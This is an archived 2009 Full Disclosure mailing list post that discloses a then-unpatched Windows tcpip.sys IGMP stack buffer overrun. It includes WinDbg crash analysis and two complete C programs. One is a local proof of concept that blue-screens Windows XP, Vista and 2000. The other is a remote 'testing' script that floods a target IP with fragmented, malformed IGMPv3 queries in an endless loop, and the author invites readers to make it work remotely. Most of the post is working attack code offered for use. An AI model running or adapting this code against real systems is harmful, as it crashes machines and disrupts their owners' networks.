Home page logo
/

fulldisclosure logo Full Disclosure mailing list archives

Some small noday XD
From: Kingcope <kcope2 () googlemail com>
Date: Sun, 19 Jul 2009 10:33:40 +0200

Some small noday XD

Microsoft Windows tcpip.sys IGMP local stack buffer overrun (July 2009)
---------------------------------------------------------------------------------------------------------

In the shape I post this here there is no privilege escalation at all, but it
seems there must be something wrong in the IP stack implementation of ms windows
so I just want to inform you.

The attached code will crash any windows system, means XP, Vista and
2000 with a Blue Screen.
Administrative Privileges are required for the code to be run because
of the raw sockets being established.
The point here is that the code crashes windows in it's "IPFragment"
routine because of a stack overrun.

I know it is pretty useless to exploit a bug when you are already
Administrator but maybe there's
a way to trigger the bug without any administrative privileges or even
remotely ( i am dreaming, no? ).
I tried hard to exploit it remotely :D, with no success.
The code depends on bogus IP options, (the "0xffff","0xffff" in the
code) and a large payload for the
IGMP Query (about 1000 addresses seem enough).

Testing source for remote is also attached so you can modify it, maybe
you are lucky.

Sry, didn't know what to do with this bug, laying around here on my
backup since 2007, so I thought
I'd just post it.

Here is the WinDbg Session output:

---snip---
1: kd> !analyze -v
*******************************************************************************
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *
*******************************************************************************

DRIVER_OVERRAN_STACK_BUFFER (f7)
A driver has overrun a stack-based buffer.  This overrun could potentially
allow a malicious user to gain control of this machine.
DESCRIPTION
A driver overran a stack-based buffer (or local variable) in a way that would
have overwritten the function's return address and jumped back to an arbitrary
address when the function returned.  This is the classic "buffer overrun"
hacking attack and the system has been brought down to prevent a malicious user
from gaining complete control of it.
Do a kb to get a stack backtrace -- the last routine on the stack before the
buffer overrun handlers and bugcheck call is the one that overran its local
variable(s).
Arguments:
Arg1: 84baa538, Actual security check cookie from the stack
Arg2: 0000656d, Expected security check cookie
Arg3: ffff9a92, Complement of the expected security check cookie
Arg4: 00000000, zero

Debugging Details:
------------------


FAULTING_IP:
tcpip!IPFragment+61f
ed6bd7a8 c9              leave

GSFAILURE_FUNCTION: tcpip!IPFragment

GSFAILURE_MODULE_COOKIE: <unavailable> tcpip!__security_cookie [ ed6c8484 ]

GSFAILURE_ANALYSIS_TEXT: !gs output:
Stack buffer overrun analysis follows:

Corruption occured in tcpip!IPFragment or one of its callers
Error reading real canary at 0xed6c8484
Warning: Unable to read real canary complement at 0x00000000
(OK - it is not present in all cases)
GS analysis will be limited due to previous errors
Corrupted cookie value (0x00000000) too generic, skipping read bit-flip check
The canary doesn't look corrupted. Not sure how we got here
Determining __gs_reportfailure version failed. Guessing...
Detected off-by-4 bug in __report_gsfailure, saved ESP will be
corrected to ESP+4.
Error 16386 getting EBP and ESP
EBP/ESP appear correct. (EBP-ESP) matches local storage set up in the
function prolog

Function tcpip!IPFragment:
        Funtion has no locals
no candidate buffer found

Stack buffer overrun analysis complete.


BUGCHECK_STR:  STACK_OVERRUN

SECURITY_COOKIE:  Expected 0000656d found 84baa538

CUSTOMER_CRASH_COUNT:  1

DEFAULT_BUCKET_ID:  DRIVER_FAULT

PROCESS_NAME:  igmp.exe

FOLLOWUP_IP:
tcpip!IPFragment+61f
ed6bd7a8 c9              leave

SYMBOL_NAME:  tcpip!IPFragment+61f

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: tcpip

IMAGE_NAME:  tcpip.sys

DEBUG_FLR_IMAGE_TIMESTAMP:  444775d3

STACK_COMMAND:  kb

FAILURE_BUCKET_ID:  STACK_OVERRUN_tcpip!IPFragment+61f

BUCKET_ID:  STACK_OVERRUN_tcpip!IPFragment+61f

Followup: MachineOwner
---------
--- snip ---


And the code to trigger the bug:

--- snip ---
// igmp.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include <stdio.h>
#include <winsock2.h>

#pragma comment(lib, "Ws2_32.lib")

typedef struct iphdr
{
        unsigned char verlen; // IP version & length
        unsigned char tos; // Type of service
        unsigned short total_len; // Total length of the packet
        unsigned short ident; // Unique identifier
        unsigned short frag_and_flags; // Flags
        unsigned char ttl; // Time to live
        unsigned char proto; // Protocol (TCP, UDP etc)
        unsigned short checksum; // IP checksum
        unsigned int sourceIP; // Source IP
        unsigned int destIP; // Destination IP
        unsigned short options[2];

} IPHEADER;

typedef struct igmphdr {
          unsigned char type;
          unsigned char code;
          unsigned short checksum;
          unsigned long group;
          unsigned char ResvSQVR;
          unsigned char QQIC;
          unsigned short num;
          unsigned long addes[1000];
 } IGMPHEADER;

USHORT checksum(USHORT *buffer, int size)
{
    unsigned long cksum=0;

    while (size > 1) {
        cksum += *buffer++;
        size -= sizeof(USHORT);
    }

    if (size)
        cksum += *(UCHAR*)buffer;

    cksum = (cksum >> 16) + (cksum & 0xffff);
    cksum += (cksum >>16);

    return (USHORT)(~cksum);
}

int sendIGMP(char* a, char* b)
{
        unsigned int dst_addr, src_addr;

        IPHEADER ipHeader;
        IGMPHEADER igmpHeader;
        dst_addr=inet_addr (b);
        src_addr=inet_addr (a);

        char szSendBuf[60000]={0};
        int rect;

        WSADATA WSAData;
        if (WSAStartup(MAKEWORD(2,2), &WSAData) != 0)
                return FALSE;

        SOCKET sock;
        if ((sock = WSASocket(AF_INET,SOCK_RAW,
                IPPROTO_RAW,NULL,0, 0x01)) == INVALID_SOCKET) {
                printf("Create socket error");
                WSACleanup();
                return FALSE;
        }

        BOOL flag=TRUE;
        if (setsockopt(sock,IPPROTO_IP,2,(char *)&flag,sizeof(flag))
== SOCKET_ERROR) {
                printf("Set options error");
                closesocket(sock);
                WSACleanup();
                return FALSE;
        }

        SOCKADDR_IN ssin;
        memset(&ssin, 0, sizeof(ssin));
        ssin.sin_family=AF_INET;
        ssin.sin_port=htons(99);
        ssin.sin_addr.s_addr=dst_addr;

        ipHeader.verlen=(4<<4 | sizeof(ipHeader)/sizeof(unsigned long));
        ipHeader.total_len=htons(sizeof(ipHeader)+sizeof(igmpHeader));

        ipHeader.ident=htons(0);

        ipHeader.frag_and_flags=0;

        ipHeader.ttl=128;
        ipHeader.proto=IPPROTO_IGMP;

        ipHeader.checksum=0;

        ipHeader.tos=0;

        ipHeader.destIP=dst_addr;
        ipHeader.sourceIP=src_addr;

        //Ip options
                ipHeader.options[0]=htons(0xFFFF); //bug is here =) yes it is XD
                ipHeader.options[1]=htons(0xFFFF);

        igmpHeader.type=0x11; //v3 Membership Query
        igmpHeader.code=5;
        igmpHeader.num=htons(100);
        igmpHeader.ResvSQVR=0x0;
        igmpHeader.QQIC=0;
                igmpHeader.group=inet_addr("0.0.0.0");
                for (int i=0;i<100;i++) {
                        igmpHeader.addes[i]=dst_addr;
                }

        igmpHeader.checksum=0;

        memcpy(szSendBuf, &igmpHeader, sizeof(igmpHeader));

        igmpHeader.checksum=checksum((USHORT *)szSendBuf,sizeof(igmpHeader));

        memcpy(szSendBuf, &ipHeader, sizeof(ipHeader));
        memcpy(szSendBuf+sizeof(ipHeader), &igmpHeader, sizeof(igmpHeader));
        memset(szSendBuf+sizeof(ipHeader)+sizeof(igmpHeader), 0, 4);

        ipHeader.checksum=ntohs(checksum((USHORT *)szSendBuf,
sizeof(ipHeader)+sizeof(igmpHeader)));

        memcpy(szSendBuf, &ipHeader, sizeof(ipHeader));

        rect=sendto(sock, szSendBuf,
sizeof(ipHeader)+sizeof(igmpHeader),0,(LPSOCKADDR)&ssin,
sizeof(ssin));

        if (rect==SOCKET_ERROR) {
                printf("Send error: <%d>\n",WSAGetLastError());
                                closesocket(sock);
                WSACleanup();
                return 0;
        }

        closesocket(sock);
        WSACleanup();

        return 1;
}

int main(int argc, char **argv)
{
        
        if(argc<2)
        {
                printf("\nIGMP v3 DoS PoC by kcope based on code by
Alexey Sintsov\n\n");
                printf("Usage:\n");
                printf("c:\\igmp.exe <target ip> <source ip>\n\n");
                                return 0;
        }

                sendIGMP(argv[2], argv[1]);
                printf (".\n");
        return 0;
}
--- snip ---


Now to the testing script for remote tests (Fragmented IGMP Query with
bogus IP Options bit buggy):

--- snip ---

// igmp.cpp : Defines the entry point for the console application.
//

#include <stdio.h>
#include <errno.h>
/* obligatory includes */
#include <signal.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <netinet/in.h>
#include <netdb.h>

#define SOCKET int
#define BOOL int
#define TRUE 1
#define FALSE 0
#define SOCKET_ERROR -1
#define closesocket close
#define BIGIGMP 1400
typedef unsigned char UCHAR;
typedef unsigned short USHORT;

struct iphdr
{
        unsigned char verlen; // IP version & length
        unsigned char tos; // Type of service
        unsigned short total_len; // Total length of the packet
        unsigned short ident; // Unique identifier
        unsigned short frag_and_flags; // Flags
        unsigned char ttl; // Time to live
        unsigned char proto; // Protocol (TCP, UDP etc)
        unsigned short checksum; // IP checksum
        unsigned int sourceIP; // Source IP
        unsigned int destIP; // Destination IP
        unsigned short options[2];
};

struct igmphdr {
          unsigned char type;
          unsigned char code;
          unsigned short checksum;
          unsigned long group;
          unsigned char ResvSQVR;
          unsigned char QQIC;
          unsigned short num;
          unsigned long addes[0xffff/4-2];
};

USHORT checksum(USHORT *buffer, int size)
{
    unsigned long cksum=0;

    while (size > 1) {
        cksum += *buffer++;
        size -= sizeof(USHORT);
    }

    if (size)
        cksum += *(UCHAR*)buffer;

    cksum = (cksum >> 16) + (cksum & 0xffff);
    cksum += (cksum >>16);

    return (USHORT)(~cksum);
}

int sendIGMP(char* a, char* b)
{
        unsigned int dst_addr, src_addr;

        struct iphdr ipHeader;
        struct igmphdr igmpHeader;
        dst_addr=inet_addr (b);
        src_addr=inet_addr (a);

        int rect;

        char szSendBuf[sizeof(ipHeader)+sizeof(igmpHeader)];
        memset(szSendBuf, 0, sizeof(ipHeader)+sizeof(igmpHeader));

        SOCKET sock;
        if ((sock = socket(AF_INET,SOCK_RAW, IPPROTO_RAW)) < 0) {
                printf("Create socket error");
                return FALSE;
        }

        BOOL flag=TRUE;
        if (setsockopt(sock,IPPROTO_IP,2,(char *)&flag,sizeof(flag))
== SOCKET_ERROR) {
                printf("Set options error");
                closesocket(sock);
                return FALSE;
        }

        struct sockaddr_in ssin;
        memset(&ssin, 0, sizeof(ssin));
        ssin.sin_family=AF_INET;
        ssin.sin_port=htons(99);
        ssin.sin_addr.s_addr=dst_addr;

        ipHeader.verlen=(4<<4 | sizeof(ipHeader)/sizeof(unsigned long));

        ipHeader.ident=htons(1000);

        ipHeader.ttl=128;
        ipHeader.proto=IPPROTO_IGMP;

        ipHeader.checksum=0;

        ipHeader.tos=0;

        ipHeader.destIP=dst_addr;
        ipHeader.sourceIP=src_addr;

//        //Ip options
        ipHeader.options[0]=htons(0xFFFF);
        ipHeader.options[1]=htons(0xFFFF);
        memset(&igmpHeader, 0, sizeof(igmpHeader));

        igmpHeader.type=0x11; //v3 Membership Query
        igmpHeader.code=0xff;
        igmpHeader.num=htons(0xffff/4-200);
        igmpHeader.ResvSQVR=0xff;
        igmpHeader.QQIC=0;
        igmpHeader.group=inet_addr("224.0.0.2");
        int x1,x2; int vv=0;
        int k=0;

        printf("fillin...\n");
        for (x1=0;x1<256;x1++) {
        for (x2=0;x2<256;x2++) {
                char buf[100];
                int xx1 = x1;
                int xx2 = x2;
                sprintf(buf, "%d.%d.%d.%d", rand() % (256), rand() % 256, rand() %
256, rand() % 256);
                if (vv >= 0xffff/4-2) goto label1;
                igmpHeader.addes[vv]=inet_addr(buf);
                vv++;
        }
        }

        printf("okay\n");

label1:
        printf("okay2\n");

        for (k=0;k<sizeof(igmpHeader)/BIGIGMP;k++) {
//      printf("IPHDR_LEN:%d, ALL:%d, PKT_LEN:%d\n", sizeof(ipHeader),
sizeof(igmpHeader), BIGIGMP);

        ipHeader.total_len=htons(sizeof(ipHeader)+BIGIGMP);

        if (k==0)
                ipHeader.frag_and_flags=htons(0x2000);
        else
                ipHeader.frag_and_flags=htons(((BIGIGMP * k)>>3)|0x2000);
        if (k==(sizeof(igmpHeader)/BIGIGMP)-1) {
                ipHeader.frag_and_flags=htons(((BIGIGMP * k)>>3));
        }

        igmpHeader.checksum=0;

        char c[sizeof(igmpHeader)];
        memcpy(c, &igmpHeader, sizeof(igmpHeader));
        igmpHeader.checksum=checksum((USHORT *)c,sizeof(igmpHeader));

        memcpy(szSendBuf, &ipHeader, sizeof(ipHeader));
        char *p = &igmpHeader;
        p+=BIGIGMP*k;

        memcpy(szSendBuf+sizeof(ipHeader), p, BIGIGMP);

//        memset(szSendBuf+sizeof(ipHeader)+sizeof(igmpHeader), 0, 4);

        ipHeader.checksum=ntohs(checksum((USHORT *)szSendBuf,
sizeof(ipHeader)+BIGIGMP));

        memcpy(szSendBuf, &ipHeader, sizeof(ipHeader));

        rect=sendto(sock, szSendBuf, sizeof(ipHeader)+BIGIGMP,0,&ssin,
sizeof(ssin));

        if (rect==SOCKET_ERROR) {
                perror("");
                closesocket(sock);
                return 0;
        }
        }
        closesocket(sock);

        return 1;
}

int main(int argc, char **argv)
{
        
        if(argc<2)
        {
                printf("\nIGMP v3 testing script by kcope based on
code by Alexey Sintsov\n\n");
                printf("Usage:\n");
                printf("c:\\igmp.exe <target ip> <source ip>\n\n");
                                return 0;
        }

        while(1)
        sendIGMP(argv[2], argv[1]);
        printf (".\n");
        return 0;
}

--- snip ---

Cheers,

Kingcope, E-Mail: kcope2<at>googlemail.com

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


  By Date           By Thread  

Current thread:
  • Some small noday XD Kingcope (Jul 19)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]